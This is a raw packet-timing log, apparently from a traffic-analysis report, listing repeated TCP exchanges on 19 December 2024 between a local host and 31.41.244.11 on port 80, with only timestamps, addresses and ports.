                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.490792990 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.490850925 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.492815971 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.492893934 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.492924929 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.493041039 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.494935989 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.495035887 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.495074034 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.495131016 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.497030020 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.497100115 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.576715946 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.576818943 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.576904058 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.576977015 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.577584982 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.577642918 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.577759027 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.577832937 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.579341888 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.579416990 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.579459906 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.579519033 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.581083059 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.581222057 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.581290007 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.582820892 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.582885981 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.582972050 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.583543062 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.584568024 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.584635019 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.584692001 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.584748030 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.586260080 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.586407900 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.586445093 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.586477995 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.587950945 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.588072062 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.588148117 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.589612961 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.589694977 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.589736938 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.590270042 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.591276884 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.591362000 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.591393948 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.592192888 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.592906952 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.592984915 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.593039036 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.593101978 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.594521999 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.594599009 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.594650030 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.594902039 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.596100092 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.596174955 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.596224070 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.596811056 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.597702980 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.597784996 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.597857952 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.599050999 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.599272966 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.599348068 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.599421024 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.599478006 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.600821018 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.600882053 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.600943089 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.601001024 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.602335930 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.602408886 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.602454901 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.603409052 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.603882074 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.604016066 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.604077101 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.605392933 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.605451107 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.605513096 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.605603933 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.606931925 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.607083082 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.607151985 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.608442068 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.608536959 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.608544111 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.608675003 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.609924078 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.610074043 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.610135078 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.611345053 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.611490011 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.611563921 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.612818003 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.612926960 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.612996101 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.614269018 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.614367962 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.614383936 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.614509106 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.615726948 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.615788937 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.615839005 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.615890026 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.617120028 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.617316961 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.617382050 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.618556976 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.618737936 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.618804932 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.619975090 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.620100021 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.620172977 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.621352911 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.621407986 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.621520042 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.621974945 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.622787952 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.622850895 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.622899055 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.623172998 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.624207973 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.624322891 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.624416113 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.625612974 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.625669003 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.625746965 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.626270056 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.627054930 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.627156019 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.627198935 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.627198935 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.628432035 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.628576994 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.628609896 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.628648996 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.629868984 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.629991055 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.630057096 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.631377935 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.631520987 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.631589890 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.632704020 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.632915974 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.632989883 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.634105921 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.634222031 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.634315014 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.635488987 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.635543108 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.635648966 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.636218071 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.636929989 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.637058973 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.637085915 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.637118101 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.638380051 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.638526917 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.638585091 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.639771938 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.639930010 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.639985085 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.641236067 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.641376019 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.641424894 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.642592907 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.642646074 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.642704964 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.642760038 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.644025087 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.644079924 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.644115925 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.645392895 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.645447969 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.645553112 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.646608114 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.646838903 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.646894932 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.646962881 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.647775888 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.648263931 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.648307085 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.648380041 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.649677038 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.649736881 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.649797916 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.649981022 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.651110888 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.651179075 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.651283026 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.652234077 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.652501106 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.652548075 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.652616978 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.652658939 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.653937101 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.653990984 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.654057026 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.655488014 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.655548096 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.768951893 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.769009113 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.769099951 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.769220114 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.769491911 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.769545078 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.769678116 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.769854069 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.770550013 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.770610094 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.770670891 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.770827055 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.771661997 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.771708965 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.771763086 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.771810055 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.772706985 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.772758007 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.772830963 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.772892952 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.773782015 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.773852110 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.773893118 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.773945093 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.774837971 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.774894953 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.774965048 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.775032997 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.775906086 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.775975943 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.776045084 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.776117086 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.776948929 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.776998043 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.777060032 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.777117968 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.777981997 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.778039932 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.778115988 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.778192997 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.779021025 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.779078007 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.779151917 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.779198885 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.780052900 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.780108929 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.780306101 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.780354023 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.781119108 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.781197071 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.781228065 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.781275034 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.782140017 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.782282114 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.782295942 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.782392025 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.783185005 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.783288956 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.783318043 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.783438921 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.784214973 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.784346104 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.784406900 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.785233974 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.785306931 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.785370111 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.785429955 CET4983480192.168.2.531.41.244.11
